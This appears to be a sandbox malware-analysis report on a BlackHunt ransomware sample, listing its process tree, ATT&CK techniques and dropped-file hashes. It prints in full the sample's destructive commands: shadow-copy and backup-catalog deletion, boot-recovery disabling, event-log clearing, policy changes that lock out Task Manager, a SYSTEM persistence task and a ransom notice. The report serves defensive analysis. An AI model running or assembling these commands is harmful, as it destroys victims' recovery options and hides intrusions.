- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:692
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:472
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:1240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2504
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:2196
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:1932
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:2988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1176
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1504
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:2244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:588
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:1348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:548
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:2440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2512
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2824
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2832
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2888
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:2568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2812
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:1168
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:2780
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:2988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe" /F
  2⤵
  PID:1988
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2900
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2592
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:1560
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:1256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:1772
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:2712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:1544
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1512
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:2456
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2708
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2944
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1164
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1960
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2360
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:1816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:2532
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:1372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:2796
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:2404
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:2720
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:1584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:2676
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:960
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:1776
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1604
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:3000
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:328
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:2856
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:1828
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:1676
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:2748
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:1816
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:2864
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:1104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:1576
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:1108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:1988
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1032
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:2608
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:2372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:2668
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:2060
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:2872
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:2936
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:676
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:2640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:3028
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:2072
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:1752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:1092
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:2452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:1960
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:1664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:1324
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:2652
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\2d712bb2b38bf78e8e766bedeacec377fef8c873548f1aa5ac3eb710b1aec6be.exe"
  2⤵
  - Deletes itself
  PID:2656
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:1732

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1976

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2716

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:2248

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:952

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -Embedding
1⤵
PID:1544

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

Replay Monitor

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
6a306e5e27023b01b8b3ab4d2580fd95

SHA1
02834fab5b8801492e56b2b850dba9e4832f754a

SHA256
09717066c5979409b9a481903ff34cceea32f7e76ff4022b2dd509d8daa0ea06

SHA512
fc10e684d72def76d97ee9f2b81ad7d25ebafa9b585686f1bb30ee168f1a4627f681b6d1bc0e1246cf2ec4d8bf8eac484e699714b4d819684bed834b6afcf6d1

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
84516f42fbf5d59f5ead7b0dd4fb986f

SHA1
828500d801075c66ed5091d9f5f478df16e55da8

SHA256
ec7ff072c193278ca6d0b1152412ec409d4d7463a4c092765cbba3f23a5920a7

SHA512
0dfd222a27b71a59acaa34399356f2dc7f7081e9bbd1481be73753e8ec496f9f36f7af341a182a5e58062c194dcb1c28670f671a604415b99b4707aa4f49c357

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
8f66d564b4bff65c7bbc677e393cfcde

SHA1
2697cf7dcdf27d1ab66791c4d872a4a0a6b05ddc

SHA256
49a30f7d2f00996893fc1da29289a59b552c42f41cbc05887a9f5142e8f1115f

SHA512
01a0c48aa0c7945a07058e9fb5a849a8939e250bed116e0352ded67ca272135a2199e0dae6efba67af2618429cf2317a82796eb1906e97563e347e913f932731

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads